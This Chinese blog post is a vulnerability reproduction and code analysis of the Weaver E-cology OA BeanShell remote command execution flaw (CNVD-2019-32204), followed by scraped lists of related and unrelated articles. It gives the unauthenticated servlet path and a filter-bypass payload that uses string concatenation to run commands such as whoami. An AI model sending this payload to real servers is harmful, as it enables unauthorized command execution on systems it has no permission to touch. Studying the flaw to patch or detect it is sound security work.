漏洞复现

影响版本:
E-cology 7.0
E-cology 8.0
E-cology 8.1
E-cology 9.0
 
直接在网站根目录后加入组件访问路径 /weaver/bsh.servlet.BshServlet/,如下图执行了命令“whoami”

绕过方式:

1.unicode编码

2.字符串拼接

bsh.script=eval%00("ex"%2b"ec(bsh.httpServletRequest.getParameter(\"command\"))");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami
 

漏洞分析

漏洞出现在e-cology的组件beanshell上,由于beanshell这个接口可被未授权访问,同时这个接口在接受用户请求时未进行相应过滤,最终导致远程命令执行
那beanshell是什么呢?
简单说,就是一个微型的java解释器,可嵌入到其他程序中,用于动态的执行java代码,类似于csharp中的动态编译特性,我们通过一个例子来了解beanshell,如下图:
  • 实例化Interpreter类
  • eval()函数用于动态的执行java代码
除了eval函数,还有其他函数可以动态执行字符串
使用jadx反编译jar包,由于访问的组件路径为/weaver/bsh.servlet.BshServlet/,所以我们先查看一下类bsh.servlet.BshServlet,如下图
网站是post提交数据,所以我们查看doPost函数,发现只是执行了doGet函数:
跟踪doGet:
httpServletRequest.getParameter("bsh.script");参数为传入的值,赋值给了parameter
跟踪parameter,传入了evalScript函数:
跟踪evalScript函数:
直接调用interpreter.eval进行了代码执行
interpreter是Interpreter实例化的类

文中用到的工具

bsh-2.0b4.jar
链接:https://pan.baidu.com/s/1U3bYIgNlSgrfkhWovfx3CQ
 
jadx-gui-1.0.0.exe
链接:https://pan.baidu.com/s/1KVjwo7dIB4kS8LXwUI4zkA
获取提取码关注公众号底下菜单点击提取码
 
参考:https://xz.aliyun.com/t/6560
欢迎关注我的公众号啦!
 

泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析的更多相关文章

  1. 泛微 e-cology OA 远程代码执行漏洞复现

    0x00 前言 Poc已在github公开,由于环境搭建较为复杂,所以我在空间搜索引擎中找了国外的网站进行复现 如果有想自行搭建环境复现的可以在公众号内回复“泛微环境”即可获取源码及搭建方式 0x01 ...

  2. 泛微e-cology OA Beanshell组件远程代码执行漏洞复现CNNVD-201909-1041

    靶机 影响版本 泛微e-cology<=9.0 https://github.com/jas502n/e-cology 部署 复现 /weaver/bsh.servlet.BshServlet ...

  3. 泛微OA 多版本存在命令执行

    参考 https://blog.csdn.net/qq_41770175/article/details/102821349 https://www.linktrust.net/oday/471.ht ...

  4. 泛微e-cology OA系统远程代码执行漏洞及其复现

    泛微e-cology OA系统远程代码执行漏洞及其复现 2019年9月19日,泛微e-cology OA系统自带BeanShell组件被爆出存在远程代码执行漏洞.攻击者通过调用BeanShell组件中 ...

  5. 应用安全 - 软件漏洞 - 泛微OA漏洞汇总

    SQL注入 前台SQL注入 用户名:admin' or password like 'c4ca4238a0b923820dcc509a6f75849b' and 'a'='a 密码: 1 验证页面参数 ...

  6. 帆软的报表系统与泛微OA结合起来,这两个软件麦枫提供了经典的服务。

    一.集成配景泛微OA对企业的代价 泛微协同办公计划能向你供给一个协同的.集成的办公情况,使所有的办公职员都在统一且个性化的信息流派中一路事情, 解脱光阴和地区的限定,实现协同事情与知识治理. Eoco ...

  7. 泛微oa几个常用的js

    泛微OA,常用JS 为满足一些简单需求,我从网上借鉴了大量的代码,其中几个是非常好用的. (1).取值判断 通过jQuery('#field1234').val()取字段的值,field1234对应字 ...

  8. FineReport和泛微OA(Ecology)的单点登录集成方案

    最近出现了很多关于帆软报表和泛微OA的集成问题,均出现在“单点登录”上.直接也有相关的文章介绍一些FineReport和泛微集成的背景.价值等,以及FineReport和OA的深度集成的方案,但是并没 ...

  9. 泛微OA系统多版本存在命令执行漏洞

    0x01漏洞描述 泛微OA办公系统是一款协调办公软件. 泛微协同商务软件系统存在命令执行漏洞,攻击者可利用该漏洞获取服务器权限. 0x02漏洞危害 攻击者可以通过精心构造的请求包在受影响版本的泛微OA ...

随机推荐

  1. rsa加密初探

    RSA加密算法初探 RSA加密算法是早期的非对称加密,公钥和私钥分离,公开公钥,通过确保私钥的安全来保证加密内容的安全.由麻省理工学院的罗纳德·李维斯特(Ron Rivest).阿迪·萨莫尔(Adi ...

  2. 大厂需要什么样的 Android 开发?

    前言 昨天和一个百度的朋友闲聊,他说根据最近招聘 Android工程师的经验来看,大部分候选人在工作 3 年的时候基本都会遇上一道难过的坎. 为啥这么说呢? 因为工作一段时间之后,大部分工程师都已经完 ...

  3. String s="a"+"b"+"c",到底创建了几个对象?

    首先看一下这道常见的面试题,下面代码中,会创建几个字符串对象? String s="a"+"b"+"c"; 如果你比较一下Java源代码和反 ...

  4. PLSQL编程及存储过程的创建

    一.PLSQL的初步介绍 PLSQL是使sql具有处理过程的能力,可以分为三个部分:声明部分.可执行部分.异常处理部分 1.如何使用PLSQL打印Hello World! 在sqlplus里中打印   ...

  5. Go的Channel发送和接收

    先来看一道面试题: 对已经关闭的 chan 进行读写,会怎么样?为什么? 在上一篇学习 Go 协程的文章中,知道 go 关键字可以用来开启一个 goroutine 进行任务处理,但多个任务之间如果需要 ...

  6. 题解 P3942 将军令

    题解 首先看到这题 \(k=1\) 时,就是一道 小胖守皇宫,那么由 \(k=1\) 联想到 \(k=2...20\) 发现可以树形 \(DP\) 但转移方程太难想,不太适合考场做. 考虑贪心: 对所 ...

  7. 题解 Strange Housing

    传送门 首先想了黑白染色,发现不会染 其实可以考虑如何动态地维护出这个点集 发现题面里对不在点集之中的点之间的连边没有要求 所以考虑不断向图中加点,为了满足要求,每次取一个与当前新图中相连的点 若它与 ...

  8. Dos 获取网络的命令

    Netsh mbn 命令 https://docs.microsoft.com/zh-cn/windows-server/networking/technologies/netsh/netsh-mbn ...

  9. spring开发中常见错误集合,逐步添加

    1.关于jstl错误:原因,在jsp页面中使用了jstl标签库,但是却没有导入,可以将相应的jar包放在tomcat的lib目录下,一劳永逸 Java.lang.NoClassDefFoundErro ...

  10. 阿里云rds分区

    SELECT PARTITION_NAME,TABLE_ROWS FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_NAME = 'xw_user_appl ...